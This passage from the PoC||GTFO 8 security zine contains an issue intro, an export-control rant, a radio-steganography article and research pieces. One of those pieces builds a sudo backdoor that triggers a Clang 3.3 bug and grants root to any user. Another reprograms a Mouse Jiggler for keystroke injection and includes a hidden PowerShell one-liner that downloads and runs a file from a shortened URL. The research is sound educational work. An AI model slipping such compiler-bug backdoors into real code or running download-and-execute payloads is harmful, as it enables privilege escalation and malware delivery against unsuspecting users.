8 As Exploits sit Lonely, Forgotten on the Shelf Your Friendly Neighbors at PoCGTFO Proudly Present Pastor Manul Laphroaig’s Export-Controlled Church Newsletter

8:1 Please stand; now, please be seated.

PoCGTFO 8:2 contains our own Pastor Manul Laphroaig’s rant on the recent Wassenaar amendments, which will one day have us all burned as witches.

In PoCGTFO 8:3, Scott Bauer, Pascal Cuoq, and John Regehr present a backdoored version of sudo, but why should we give a damn whether anyone can backdoor such an application? Well, these fine neighbors abuse a pre-existing bug in CLANG that snuck past seventeen thousand assertions. Thus, the backdoor in their version of sudo provably doesn’t exist until after compilation with a particular compiler. Ain’t that clever?

In PoCGTFO 8:4, Travis Goodspeed and his neighbor Muur present fancy variants of digital shortwave radio protocols. They hide text in the null bits between PSK31 letters and in the space between RTTY bytes. Just for fun, they also transmit Morse code from 100 Mbit Ethernet to a nearby shortwave receiver!

Image

It’s common practice in some IT departments to use a Mouse Jiggler, such as the Weibetech MJ-3, to keep a screensaver from password protecting a seized computer while waiting for a forensic analyst. Mickey Shkatov took one of these doodads apart, and in PoCGTFO 8:5 he shows how to reprogram one.

In PoCGTFO 8:6, DJ Capelis and Daniel Bittman present a hypervisor exploit that was unwanted by the academic publishers. As our Right Reverend has better taste than the Unseen Academics, we happily scooped up their neighborly submission for you, our dear reader.

Saumil Shah says that a good exploit is one that is delivered in style, and Bukowski says that style is the answer to everything, a fresh way to approach a dull or dangerous thing. In PoCGTFO 8:7, Saumil presents us with tricks for encoding browser exploits as image files. Saumil has style.

Back in the days of Visual Basic 6, there was a directive, on error resume next, that instructed the interpreter to ignore any errors. Syntax error? Divide by zero? Wrong number of parameters? No problem, the program would keep running, the interpreter doing its very best to do something with the hideous mess of spaghetti code that VB programmers are famous for. In PoCGTFO 8:8, Jeffball from DC949 commits the criminal act of porting this behavior to C on Linux.

In PoCGTFO 8:9, Tommy Brixton sings a heartbreaking classic, Unbrick My Part!

In PoCGTFO 8:10, JP Aumasson talks about those fancy NUMS—Nothing Up My Sleeve—numbers. He keeps a lot of them up his sleeves.

In PoCGTFO 8:11, Russell Handorf teaches us how to build a Wireless CTF on the cheap, broadcasting a number of different protocols through Direct Digital Synthesis on a Raspberry Pi.

In PoCGTFO 8:12, Philippe Teuwen explains how he made this PDF into a polyglot able to secure your communications by encrypting plain English into—wait for it—plain English!

Image

8:2 Witches, Warlocks, and Wassenaar

by Manul Laphroaig

Gather round, neighbors!

Neighbors, I said, but perhaps I should have called you fellow witches, warlocks, arms dealers, and other purveyors of heretic computation. For our pursuits have been weighed, measured, and found wanting for whatever it is these days that still allows people of skill to pursue that skill without mandatory oversight. Now our carefree days of bewitching our neighbors’ cattle and dairy products are drawing to a close; our very conversation is a weapon and must, for our own good, be exercised under the responsible control of our moral betters.

And what is our witchcraft, the skill so dire that these said betters have girt themselves to “regulate your shady industry out of existence”? Why, it’s apparently our mystical and ominous ability to write programs that create “modification of the standard execution path of a program or process in order to allow the execution of externally provided instructions.” We speak secret and terrible words, and these make our neighbors’ softwares suddenly and unexpectedly lose their virtue. The evil we conjure congeals out of the thin air; never mind the neglect and the feeble excuses that whatever causes the plague will not be burned with the witch.

Come to think of it, rarely a suspected witch or a warlock have had the case against them laid out in such a crisp definition. Indeed, the days of spectral evidence are over and done; now the accused can be confronted with an execution trace! The judgment may pass you over if you claim the sanctuary of your craft being limited to Hypervisors, Debuggers, Reverse Engineering Tools, or—surprise, surprise!—DRM; for these are what a good wizard is allowed to exercise. However, dare to deviate into “proprietary research on the vulnerabilities and exploitation of computers and network-capable devices,” and your goose is cooked, and so are your “items that have or support rootkit or zero-day exploit capabilities.”1

Heretics as we are, we turn our baleful and envious eye towards the hallowed halls of science. Behold, here are a people under a curious spell: they must talk of things that are not yet known to their multitudes—that which we call “zero-day”—or they will not be listened to by their peers. Indeed, what we call “zeroday” they call a “discovery,” or simply a “publication.” It’s weird how advancement among them is meant to be predicated on the number of these “zero-day” results they can discover and publish; and they are free to pursue this discovery for either public and private ends after a few distinguished “zero-days” are published and noted.

Image
Image

What a happy, idyllic picture! It might or might not have been helped by the fact that those sovereigns who went after the weird people in robes tended to be surprised by other sovereigns who had the fancy to leave them alone and to occasionally listen to their babbling. But, neighbors, this lesson took centuries, and anyway, do we have any goddamn robes? No, we only have those stupid balaklavas we put on when we sit down to our kind of computing, and that doesn’t really count.

Ah, but can’t we adopt robes too, or at least just publish everything we do right away,2 to seek the protection of the “publish or perish” magic that has been working so well for the people who use the same computers we do but pay to present their papers at their conferences? Well, so long as we are able to ditch our proprietary tools and switch to those that mysteriously stop compiling after their leading author has graduated—and what could go wrong? After all, it’s mere engineering detail that the private startups and independent researchers ever provide to a scientific discipline, and they could surely do it on graduate student salaries instead!

But, a reasonable voice would remind us, not all is lost. Our basic witchcraft is safe, for the devilish “intrusion software,” our literal spells and covenants with the Devil, is not in fact to be controlled! We are free to exchange those so long as we mean to do good works with them and eventually share them with our betters or the public. It’s only the means of “generating” the new spells that must be watched; it’s only methods to “develop” the new knowledge that you will get in trouble for. Indeed, our precious weird programs are safe, it’s only the programs to write these programs that will put you under the witches’ hammer of scrutiny. We have been saved, neighbors—or have we?

I don’t know, neighbors. Among the patron saints of our craft we distinguish the one who invented programs that write programs, and, incidentally, filed the first bug (if somewhat squashed in the process), and the one whose Turing award speech was about exploiting such programs—so important and invisible in our trust they have become, so fast. We spend hours to automate tasks that would take minutes; we grow by making what was an arcane art of the few accessible to many, through tools that make the unseen observable and then transparent.

Of all the tool-making species, we might be the most devoted to our tools, tolerating no obscurity and abhorring impenetrable abstraction layers left so “for our own benefit.” And yet it is this toolmaking spirit that we must surrender to scrutiny and a regime of prior permission—or else.

Is it merely a coincidence that the inventor of the compiler is also credited with “It is much easier to apologize than it is to get permission”? Apparently, there were the times when this method worked; we’ll have to see if it sways the would-be inquisitors into our craft of heretical computations.

Thank you kindly,
—PML

Image

8:3 Deniable Backdoors from Compiler Bugs

by Scott Bauer, Pascal Cuoq, and John Regehr

Do compiler bugs cause computer software to become insecure? We don’t believe this happens very often in the wild because (1) most code is not miscompiled and (2) most code is not security-critical. In this article we address a different situation; we’ll play an adversary who takes advantage of a naturally occurring compiler bug.

Do production-quality compilers have bugs? They sure do. Compilers are constantly evolving to improve support for new language standards, new platforms, and new optimizations; the resulting code churn guarantees the presence of numerous bugs. GCC currently has about 3,200 open bugs of priority P1, P2, or P3. (But keep in mind that many of these aren’t going to cause a miscompilation.) The invariants governing compiler-internal data structures are some of the most complex that we know of. They are aggressively guarded by assertions, roughly 11,000 in GCC and 17,000 in LLVM. Even so, problems slip through.

How should we go about finding a compiler bug to exploit? One way would be to cruise an open source compiler’s bug database. A sneakier alternative is to find new bugs using a fuzzer. A few years ago, we spent a lot of time fuzzing GCC and LLVM, but we reported those bugs—hundreds of them!—instead of saving them for backdoors. These compilers are now highly resistant to Csmith (our fuzzer), but one of the fun things about fuzzing is that every new tool tends to find different bugs. This has been demonstrated recently by running afl-fuzz against Clang.3 A final way to get good compiler bugs is to introduce them ourselves by submitting bad patches. As that results in a “Trusting Trust” situation where almost anything is possible, we won’t consider it further.

Image

So let’s build a backdoor! The best way to do this is in two stages, first identifying a suitable bug in the compiler for the target system, then we’ll introduce a patch for the target software, causing it to trip over the compiler bug.

The sneaky thing here is that at the source code level, the patch we submit will not cause a security problem. This has two advantages. First, obviously, no amount of inspection—nor even full formal verification—of the source code will find the problem. Second, the bug can be targeted fairly specifically if our target audience is known to use a particular compiler version, compiler backend, or compiler flags. It is impossible, even in theory, for someone who doesn’t have the target compiler to discover our backdoor.

Let’s work an example. We’ll be adding a privilege escalation bug to sudo version 1.8.13. The target audience for this backdoor will be people whose system compiler is Clang/LLVM 3.3, released in June 2013. The bug that we’re going to use was discovered by fuzzing, though not by us. The following is the test case submitted with this bug.4

  int x = 1;
2 int main(void) {
    if (5 % (3 * x) + 2 != 4)
4     __builtin_abort();
    return 0;
6 }

According to the C language standard, this program should exit normally, but with the right compiler version, it doesn’t!

  $ clang -v
2 clang version 3.3 (tags/RELEASE_33/final)
  Target: x86_64-unknown-linux-gnu
4 Thread model: posix
  $ clang -O bug.c
6 $ ./a.out
  Aborted

Is this a good bug for an adversary to use as the basis for a backdoor? On the plus side, it executes early in the compiler—in the constant folding logic—so it can be easily and reliably triggered across a range of optimization levels and target platforms. On the unfortunate hand, the test case from the bug report really does seem to be minimal. All of those operations are necessary to trigger the bug, so we’ll need to either find a very similar pattern in the system being attacked or else make an excuse to introduce it. We’ll take the second option.

Our target program is version 1.8.13 of sudo,5 a UNIX utility for permitting selected users to run processes under a different uid, often 0: root’s uid. When deciding whether to elevate a user’s privileges, sudo consults a file called sudoers. We’ll patch sudo so that when it is compiled using Clang/LLVM 3.3, the sudoers file is bypassed and any user can become root. If you like, you can follow along on Github.6 First, under the ruse of improving sudo’s debug output, we’ll take this code at plugins/sudoers/parse.c:220.

220 if (userlist_matches(sudo_user.pw, &us->users) != ALLOW)
      continue;

We can trigger the bug by changing this code around a little bit.

220 user_match = userlist_matches(sudo_user.pw, &us->users);
    debug_continue((user_match != ALLOW), DEBUG_NOTICE,
222                "No user match, continuing to search ");

The debug_continue macro isn’t quite as out-of-place as it seems at first glance. Nearby we can find this code for printing a debugging message and returning an integer value from the current function.

debug_return_int(validated);

The debug_continue macro is defined on line 112 of include/-sudo_debug.h to hide our trickery.

112 #define debug_continue(condition, dbg_lvl, str, ...) {    
      if (NORMALIZE_DEBUG_LEVEL(dbg_lvl) && (condition)) {    
114     sudo_debug_printf(SUDO_DEBUG_NOTICE,                  
                          str, ##__VA_ARGS__);                
116     continue;                                             
      }                                                       
118 }

This further bounces to another preprocessor macro.

110 #define NORMALIZE_DEBUG_LEVEL(dbg_lvl)                    
      (DEBUG_TO_VERBOSITY(dbg_lvl) == SUDO_DEBUG_NOTICE)

And that macro is the one that triggers our bug. (The comment about the perfect hash function is the purest nonsense, of course.)

108 /* Perfect hash function for mapping debug levels to
       intended verbosity */
110 #define DEBUG_TO_VERBOSITY(d) (5 % (3 * (d)) + 2)

Would our patch pass a code review? We hope not. But a patient campaign of such patches, spread out over time and across many different projects, would surely succeed sometimes.

Next let’s test the backdoor. The patched sudo builds without warnings, passes all of its tests, and installs cleanly. Now we’ll login as a user who is definitely not in the sudoers file and see what happens:

1 $ whoami
  mark
3 $ ~regehr/bad-sudo/bin/sudo bash
  Password:
5 #

Success! As a sanity check, we should rebuild sudo using a later version of Clang/LLVM or any version of GCC and see what happens. Thus we have accomplished the goal of installing a backdoor that targets the users of just one compiler.

1 $ ~regehr/bad-sudo/bin/sudo bash
  Password:
3 mark is not in the sudoers file.
  This incident will be reported.
5 $

————

We need to emphasize that this compromise is fundamentally different from the famous 2003 Linux backdoor attempt,7 and it is also different from security bugs introduced via undefined behaviors.8 In both of those cases, the bug was found in the code being compiled, not in the compiler.

The design of a source-level backdoor involves trade-offs between deniability and unremarkability at the source level on the one hand, and the specificity of the effects on the other. Our sudo backdoor represents an extreme choice on this spectrum; the implementation is idiosyncratic but irreproachable. A source code audit might point out that the patch is needlessly complicated, but no amount of testing (as long as the sudo maintainers do not think to use our target compiler) will reveal the flaw. In fact, we used a formal verification tool to prove that the original and modified sudo code are equivalent; the details are in our repo.9

An ideal backdoor would only accept a specific “open sesame” command, but ours lets any non-sudoer get root access. It seems difficult to do better while keeping the source code changes inconspicuous, and that makes this example easy to detect when sudo is compiled with the targeted compiler.

Image
Image

If it is not detected during its useful life, a backdoor such as ours will fade into oblivion together with the targeted compiler. The author of the backdoor can maintain their reputation, and contribute to other security-sensitive open source projects, without even needing to remove it from sudo’s source code. This means that the author can be an occasional contributor, as opposed to having to be the main author of the backdoored program.

How would you defend your system against an attack that is based on a compiler bug? This is not so easy. You might use a proved-correct compiler, such as CompCert C from INRIA. If that’s too drastic a step, you might instead use a technique called translation validation to prove that—regardless of the compiler’s overall correctness—it did not make a mistake while compiling your particular program. Translation validation is still a research-level problem.

In conclusion, are we proposing a simple, low-cost attack? Perhaps not. But we believe that it represents a depressingly plausible method for inserting hard-to-find and highly deniable backdoors into security-critical code.

Image

8:4 A Protocol for Leibowitz; or, Booklegging by HF in the Age of Safe Æther

by Travis Goodspeed and Muur P.

Howdy y’all!

Today we’ll discuss overloading of protocols for digital radio. These tricks can be used to hide data, exfiltrate it, watermark it, and so on. The nifty thing about these tricks is that they show how modulation and encoding of digital radio work, and how receivers for it are built, from really simple protocols like the amateur radio PSK31 and RTTY to complex ones like 802.11, 802.15.4, Bluetooth, etc.

We’ll start with narrow-band protocols that you can play with at audio frequencies. So if you don’t have an amateur license and a shortwave transceiver, you can use an audio cable between two laptops just as well.10

————

Suppose that sometime in the future, our neighbor Alice lives in an America ruled by Nehemiah Scudder,11 whose Youtube preachers and Twitter lynch mobs have made the Internet into a Safe Zone for America’s Youth, by disconnecting it from anything unsafe. So Alice’s only option to get something unsafe to read is from Booklegger Bob in Canada, by shortwave radio.

But it ain’t so easy. President Scudder has directed Eve at the Fair Communications Commission12 to strictly monitor and brutally enforce radio regulations, defending the principles of Shortwave Neutrality and protecting the youth from microunsafeties.

So Alice and Bob need to make a shortwave radio polyglot, valid in more than one format. Intent on her mission, Eve is listening. So when Alice and Bob’s transmissions are sniffed by Scudder’s National Safety Agency or overheard by the general public, they must appear to be a popular approved plaintext protocol. It must appear the same on a spectrum waterfall, must decode to a valid message (CQ CQ CQ de A1ICE A1ICE Pse k), and nothing may draw undue attention to their communications. Bob, however, is able to find a secret, second meaning.

In this article, we’ll introduce you to some of the steganographic tricks they could use, as well as some less stealthy—and more neighborly—ways to combine protocols. We’ll start with PSK31 and RTTY, with a bit of CW for good measure. And just to show off, we’ll also bring wired Ethernet into the mix, for an exfiltration trick worthy of being shared around campfires!13

All You Need Is Sines

Well, not really. But it sure looks that way when you read about radio: sines are everywhere, and you build your signal out of them, using variations in their amplitude, frequency, phase to transmit information.14 This stands to physical reason, since the sine wave is the basic kind of electromagnetic oscillation we can send through space. Of course, you can add them by putting them on the same wire, and multiply them by applying one signal to the base of a transistor through which the other one travels; you can also feed them through filters that suppress all but an interval of frequencies.

You can see these sines in the signal you receive on the waterfall display of Baudline or FLDigi, which show the incoming signal in the frequency domain by way of the Fourier transform. PSK31 transmissions, for example, will look like nice narrow bands on the waterfall view, which is the point of its design.

The waterfall view is close to how a mathematician would think about signals: all input whatsoever is a bunch of sine waves from all across the spectrum, even noise and all. A perfectly clean sine wave such as a carrier would make a single bright pixel in every line, a single bright 1-pixel stripe scrolling down. That line would expand to a multi-pixel band for a signal that is the carrier being modulated by changing its amplitude, frequency, or phase in any way, with the width of the band being the double of the highest frequency at which the changes are applied.15

Of course, the actual construction of digital radio receivers has very little to do with this mathematician’s view of the signal. While a mix of ideal sines would neatly fall apart in a perfect Fourier transform, the real transform of sampled signal would have to be discrete, and would present all the interesting problems of aliasing, edge effects, leakage, scalloping, and so on. Thus the actual receiving circuits are specialized for their intended protocols particular kinds of modulation, designed to extract the intended signal’s representation and ignore the rest—and therein lies Alice’s and Bob’s opportunity.

Related Work

In 2014, Paul Drapeau (KA1OVM) and Brent Dukes released jt65stego, a patched version of the JT65 mode that hides data in the error correcting bits.16,17 The original JT65 by Joe Taylor (K1JT) features frames of 72 bits augmented by 306 error-correcting bits,18 so Drapeau and Dukes were able to hide encrypted messages by flipping bits that normal radios will flip back. This reduces the odds of successfully decoding the cover message, but they do correct for some errors of the ciphertext.

Our concern in this article is not really stego, though that will be covered. Instead, we’ll be looking at which protocols can be combined, embedded, emulated, and smuggled through other protocols. We’ll play around with all sorts of crazy combinations, not because these combinations themselves are a secure means of communication, but because we’ll be better at designing new means of communication for having thought about them.

Classic PSK31

PSK31 is best described in an article by Peter Martinez, G3PLX.19 Here, we’ll present a slightly simplified version, ignoring the QPSK extension and parts of the symbol set, so be sure to have a copy of Peter’s article when implementing any of these techniques yourself.

This is a Binary Phase Shift Keyed protocol, with 31.25 symbols sent each second. It consumes just a bit more than 60 Hz, allowing for many PSK31 conversations to fit in the bandwidth of a single voice channel.

The PSK31 signal is commonly generated as audio then sent with Upper Side Band (USB) modulation, in which the audio frequency (1 kHz) is up-shifted by an RF frequency (28.12 MHz) for transmission. For reception, the same thing happens in reverse, with a USB shortwave receiver downshifting the radio frequencies to the audio range. In older radios, this is performed by an audio cable. More modern radios, such as the Kenwood TS-590, implement a USB Audio Class device that can be run digitally to a nearby computer.

Because many different PSK31 transmissions can fit within the bandwidth of a single voice channel, modern PSK31 decoders such as FLDigi are capable of decoding multiple conversations at once, allowing an operator to monitor them in parallel. These parallel decodings are then contributed to aggregation websites such as PSKReporter that collect and map observations from many different receivers.

Varicode

Instead of ASCII, PSK31 uses a variable-length character encoding scheme called Varicode. This character set features many of the familiar ASCII characters, but they are rearranged so that the most common characters require the fewest bits. For example, the letter e is encoded as 11, using two bits instead of the eight (or seven) that it would consume in ASCII. Lowercase letters are generally shorter than upper case letters, with uncommon control characters taking the most bits.

A partial Varicode alphabet is shown in Figure 8.2. Additionally, an idle of at least two 0 bits is required between Varicode characters. No character begins or ends with a 0, and for clock recovery reasons, there will never be a string of more than ten 1 bits in a row.

Encoding

To encode a message, letters are converted to bits through the Varicode table, delimited by 00 to keep them distinct. As PSK31 is designed for live use by a human operator in real time, any number of zeroes may be appended. That is, “e e” can be rendered to 110010011, 110000010011, or 1100100011; there is no difference in meaning, only transmission time.

Image
Image

Figure 8.1: PSKReporter, a Service for Monitoring PSK31

PSK31 encodes the bit 1 as a continuous carrier and the bit 0 as a carrier phase reversal. So the sequence 11111111 is a boring old carrier wave, no different from holding a Morse key for a quarter-second, while 00000000 is a carrier that inverts its phase every 31.25 ms.

So what’s a phase reversal? It just means that what used be the peak of the wave is now a trough, and what used to be the trough is now a peak. Cosine is swapped for sine.

Image
Image

Figure 8.2: Partial PSK31 Varicode Alphabet

Decoding

As described in Martinez’ PSK31 article, a receiver first uses a narrow bandpass filter to select just one PSK31 signal.

It then multiplies that signal with a time-delayed version of itself to extract the bits. The output will be negative when the signal reverses polarity, and positive when it does not.

Once the bits are in hand, the receiver splits them into Varicode characters. A character begins as the first 1 after at least two zeroes, and a character ends as the last 1 before two or more zeroes. After the characters are split apart, they are parsed by a lookup table to produce ASCII.

PSK31 Stego

Extending the Varicode Character Set

G3PLX’s article contains a second part, in which he notes that his original protocol provides no support for extended characters, such as the British symbol for Pounds Sterling, £. Wishing to add such characters, but not to break compatibility, he noted that the longest legal Varicode character was ten bits long. Anything longer was ignored by the receiver as a damaged and unrecoverable character, so PSK31 uses those long sequences for extended characters.

Reviewing the source code of a few PSK31 decoders, we find that Varicode still has not defined anything with more than twelve bits. By prefixing the character Alice truly intends to send with a pattern such as 101101011011, she can hide special characters within her message. To decode the hidden message, Bob will simply cut that sequence from any abnormally long character.

Hiding in Idle Lengths

PSK31 requires at least two 0 bits between characters, but it doesn’t specify an exact limit. It’s not terribly uncommon to see forgotten transmitters spewing limitless streams of zeroes into the ether as their operators sit idle, never typing a character that would result in a one. Alice can abuse this to hide extra information by encoding data in the variable gap between characters.

For an example, Alice might place the minimal pair of zero bits (00) between characters to indicate a zero while a triplet (000) indicates a one.

Extending the Symbol Set

In its classic incarnation, PSK31 uses Binary Phase Shift Keying (BPSK), which means that the phase flips 180 degrees. This is sometimes called BPSK31, to distinguish it from a later variant, QPSK31, which uses Quadrature Phase Shift Keying (QPSK). QPSK performs phase changes in multiples of 90 degrees, providing G3PLX extra symbol space to perform error correction.

Alice can use the same trick to form a polyglot with BPSK31, but this presents a number of signal processing challenges. Simply using the 90-degree shifts of QPSK31 would be a bit of an indiscretion, as BPSK interpreters would have wildly varying interpretations of the message, often decoding the hidden bits to visible junk characters.

Using a terribly small shift is a tempting idea, as Alice’s use of balanced 170 and 190 degree transitions might be rounded out to 180 degrees by the receiver. Unfortunately, this would require extremely stable and well tuned radio equipment, giving Bob as much trouble receiving the signal as Eve is supposed to have!

Image

Figure 8.3: 010100101000 Hidden in PSK31 Idle Periods

Rather than add additional phases to BPSK31, we propose instead that the error correction of QPSK31 be abused to encode additional bits. Alice can encode data by intentionally inserting errors in a QPSK31 bitstream, relying upon Eve’s receiver to remove them by error correction. Bob’s receiver, by contrast, would know that the error bits are where the data really is.

Classic RTTY (ITA2)

RTTY—pronounced “Ritty”—is a radio extension of military teletypewriters that has been in use since the early thirties. It consists of five-bit letters, using shifts to implement uppercase letters and foreign alphabets. Although implementation details vary, most amateur stations use 45 baud, 170Hz shift, 1 start bit, 2 stop bits, and 5 character bits. The higher frequency is a mark (one), while the lower frequency is a space (zero).

As digital protocols other than CW and RTTY weren’t legalized until the eighties, all sorts of clever tricks were thought up. Figure 8.4 shows RTTY artwork from W2PSU’s article in the September 1977 issue of 73 Magazine. Lacking computerized storage and cheap audio cassettes, it was the style at the time to store long stretches of paper tape as rolls in pie tins, with taped labels on the sides.

Figure 8.6 describes Western Union’s ITA2 alphabet used by RTTY, which is often—if imprecisely—called Baudot Code. In that figure, 1 indicates a high-frequency mark while 0 indicates a low-frequency space. Note that these letters are sent almost like a UART, least-significant-bit first with one start bit and two stop bits.

Image

Figure 8.4: RTTY Art of Seattle Slew from the mid 1970’s

Image

Figure 8.5: Weather Fax

Image

Figure 8.6: RTTY’s ITA2 Alphabet

Some Ditties in RTTY

Differing Diddles

Unlike a traditional UART, RTTY sends an idle character—colloquially known as a Diddle—of five marks when no data is available. This is done to prevent the receiver from becoming desynchronized, but it isn’t strictly mandatory. By not sending the diddle character (11111) when idle, the mark bit’s frequency can be left idle for a bit, encoding extra information.

Additionally, there are not one but two possible diddle characters! Traditionally the idle is filled with 11111, which means Shift to Letters, so the transmitter is just repeatedly telling the receiver that the next character will be a letter. You could also send 11011, which means Shift to Figures. Sending it repeatedly also has no effect, and jumping between these two diddle characters will give you a side-channel for communication which won’t appear in normal RTTY receivers. As an added benefit, it is visually less conspicuous than causing the right channel of your RTTY broadcast to briefly disappear!

Stop with the Stop Bits!

RTTY is described in the old UART tradition as 5/N/2, meaning that it has 5 data bits, No parity bits, and 2 stop bits. There’s a cool trick to UARTs that’s worth remembering: the transmitter can always have more stop bits than the receiver demands, and the receiver can always demand fewer stop bits than the transmitter sends.

Toe Tappin’ CW

Carrier Wave (CW) modulation—better known as Morse code—was the first widely deployed digital mode to replace spark-gap transmitters. Designed for manual use by a human operator, CW is a perfect choice for easy polyglots.

As a quick review, CW consists of dots and dashes. A dash is three times as long as a dot. The off-time between elements of a letter is as long as a dot, and the off-time between letters in a word is as long as a dash. The off-time between words is seven times as long as a dot, or a bit more than twice as long as a dash.

QRSS

While other protocols have standard data rates, Morse relies on the recipient to adjust to the rate of the transmitter. Operators often find themselves unable to keep up with an expert or impatiently waiting on a station that transmits slowly, so shorthand was developed to ask the other side to change rate. QRQ requests that the other side transmit more quickly, and QRS requests that the other side slow down.

QRSS is a variant of CW in which the message is sent very, very slowly. Rather than a dot lasting a fraction of a second, it might last as long as a minute! A receiver can then take a recording of a very weak signal, slow down the recording, and visually observe the signal to determine its meaning.

While protocols such as RTTY and PSK31 don’t take kindly to the sorts of frequent interruptions that normal CW would impart, these protocols can easily produce QRSS transmissions that are legible by slowing down recordings. For example, Alice might send “A1BOB A1BOB de A1ICE” for a dot and “A1BOB A1BOB de A1ICE. A1BOB A1BOB de A1ICE. A1BOB A1BOB de A1ICE.” for a dash.

This is of course a bit easy to recognize from a waterfall, but it might be a fun way to meet your neighbors!

From Ethernet to Æther with Madeline

In a row house in Philly

that was covered with vines

Was an Ethernet network

in four twisted lines

In four twisted lines

they ran to the laundry

And to the satellite

dish and to the pantry

The twists ended too soon

and ceased to align

Interfering with 10 meters

all down the line

The protocol

was Madeline.

It’s clear enough that you could transmit Morse code through Wifi by sending bursts of traffic, but what about wired Ethernet?

Some folks are very particular when wiring CAT5e cable, ensuring that the twisted pairs are untwisted at the last possible position before the connector. Other folks—such as your neighborly authors—are far less particular in their wiring, and when the wiring is performed poorly, interference is observed near 28.121 MHz!

Still better, the interference varies with traffic! When the network is idle, the interference appears as a nice thin carrier wave. When the network is busy, the interference grows to be nearly four hundred Hertz wide.

The following is a letter of Morse code transmitted from (poorly) wired Ethernet to the 10-meter band through what we are calling the Madeline protocol. This transmission isn’t strong enough to carry very far, but the Baudline-generated waterfall in that figure was recorded from outside of a real house, with a signal generated by a real Ethernet network. The recording was made by an Upper Side Band receiver tuned to 28.120 MHz.20 The narrow-band signal at 28.121 MHz becomes wide whenever lots of traffic goes across the wired network; in this case, from activity on a VNC session.

Image

Patching FLDigi

All of this high-falutin’ theorizin’ don’t do a lick of good without some software to back it up. Supposing that Alice is a modern Unix programmer, but that Bob hasn’t written code for anything more modern than a Commodore 64, Alice will need to provide him with a GUI application that easily interfaces with his radio.

The most direct route for this is to patch FLDigi, a popular open source application for digital communication over ham radio with a live operator. Internally, FLDigi implements softmodems for CW, PSK31, RTTY, WEFAX, and several other protocols.

Part 97; or, Don’t be a Jerk!

Be aware that in general, it’s both illegal and immoral to be a jerk on the amateur bands. Interference is forbidden in amateur radio, not because jamming research is bad, but because it’s rude to stomp on someone else’s transmission. Cryptography is forbidden in amateur radio, not because of any evil conspiracy to destroy privacy, but because cryptography makes a transmission opaque, preventing newcomers from joining the conversation.

So for those of you who do not live in Nehemiah Scudder’s oppressive theocracy, please be so kind as to keep your polyglot messages unencrypted. Make a fox hunt of sorts out of your protocol experimentation, with the surface PSK31 message advertising your callsign along with the name and parameters of your real protocol.

————

We hope that this article has taught you a little about radio and signal processing. Get an amateur license, build a station, and start experimenting with new protocols on the friendly airwaves.

73’s from Appalachia,
—Travis and Muur

Image

8:5 Jiggling into a New Attack Vector

by Mickey Shkatov

Image

Note: The manufacturer of the device discussed in this article is not distributing anything dangerous. This is a legitimate tool that can be made into something dangerous.

One day, during a conversation with my colleague Maggie Jauregui, she showed me a USB dongle-like device labeled Mouse Jiggler and told me this nifty little thing’s purpose is to jiggle the mouse cursor on the screen. Given my interest in USB, I expected that the device might be a cheap microcontroller emulating USB HID. If there were a way to reprogram that microcontroller, it could be made into something malicious!

I looked for more information about this peculiar device. I found the exact same model (the MJ-2) that Maggie had showed me, but the website listed information about a newer, smaller model, the MJ-3. As the website describes it,

Image

The MJ-3 is programmable, making it ideal for repetitive IT or gaming tasks. You can create customized scripts with programmed mouse movement, mouse clicks, and keystrokes.

“The MJ-3 is programmable.” There was really no need to read any further. This was all the motivation I needed. I purchased one online. The cost of this device was just twenty dollars, which is quite cheap if you ask me.

While I waited for the thing to arrive, I continued to read some other interesting facts about the device. Here are some highlights:

  1. MJ-3 is even smaller—roughly the size of a dime—at just 0.75” × 0.55” × 0.25” (18mm × 14mm × 6mm).

  2. IT professionals use the Mouse Jiggler to prevent password dialog boxes due to screensavers or sleep mode after an employee is terminated and they need to maintain access to their computer.

  3. Computer forensic investigators use Mouse Jigglers to prevent password dialog boxes from appearing due to screensavers or sleep mode.

WiebeTech, the manufacturer of the MJ-3, makes all sorts of forensics equipment including write-blocks, forensic erasers, digital investigation tools, and other devices.

I already had plans to sniff the USB traffic, track down the microcontroller datasheet, and create a tool to reprogram it. However, I later found a commercial piece of software that does exactly that. I had to download and play with it.

This software was able to program the MJ-3 to be a keyboard, pre-programmed with up to two hundred key strokes that cycle in a loop.

To sum up, we’ve got a tiny USB dongle that looks like a wireless mouse receiver. It is programmable with keystrokes, and costs next to nothing. So what’s next? Malicious re-purposing, of course!

Unlike other programmable USB HID devices—such as the USB Rubber Ducky, which has far greater storage capacity for keystrokes—we are left with only about 200 characters.

I say characters because it is easy to explain that way. Each line item in a script for this device can hold more than a single character. Each item holds a combination of modifier keys, a letter key, and a delay of up to 255 seconds. The byte-by-byte breakdown and explanation can be found at the end of this article.

These are 200 characters:

OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO

Not a lot, but still enough for some fun. Let’s begin by opening an administrator command prompt.

  1. Press Ctrl+Escape. Delay 0 seconds.

  2. Press C. Delay 0 seconds.

  3. Press M. Delay 0 seconds.

  4. Press D. Delay 0 seconds.

  5. Press Ctrl+Shift+Enter. Delay 2 seconds.

  6. Press Left. Delay 0 seconds.

  7. Press Return (Enter). Delay 0 seconds.

  8. Delay 2 seconds.

Once the last event is done, we might simply tell the controller to jump to Event 8 to remain in a delay loop and stop executing.

The result is an eight-line script for opening an administrator command prompt, which was fun and easy. However, a red teamer wanting to use this thing would need more than just a command prompt. How about a PowerShell download and execute one liner from the Rubber Ducky Exploit wiki written by Mubix? If we use a URL-shortening service, we can save a few characters and squeeze that into something like the following 152 characters.

1 powershell -windowstyle hidden (new-object System.Net.
      WebClient).DownloadFile('http://bit.ly/1ngVd9i','%TEMP%
      bob.zip'); Start-Process "%TEMP%ob.zip"

I’ll leave the rest of the red team thinking to you. If you do make a cool and nifty script, please share it. You can find the dump and description of the sniffed USB communication below. Enjoy!

Image

————

Dongle programming communication looks like this, as a sequence of OUT data packets in order.

0B 00 30 00 AA 04 00 00 92

Prefix packet indicating the number of commands to be sent and ending in some sort of checksum (0x92). The only checksum/CRC link found in the client software uses the QT checksum function, which is CRC16-CCITT based. Why don’t you try to figure this one out?

0B 01 32 02 FF 04 00 00 00

Data packet specifying a command. (Figure 8.7.)

0B 02 32 00 00 05 00 00 00

Data packet specifying a command.

0B 03 32 00 00 06 00 00 00

Data packet specifying a command.

0B 04 35 00 01 00 00 00 00

Data packet specifying the final command telling the controller to jump to which command after the last one has been executed.

0C 00 00 00 00 00 00 00 00

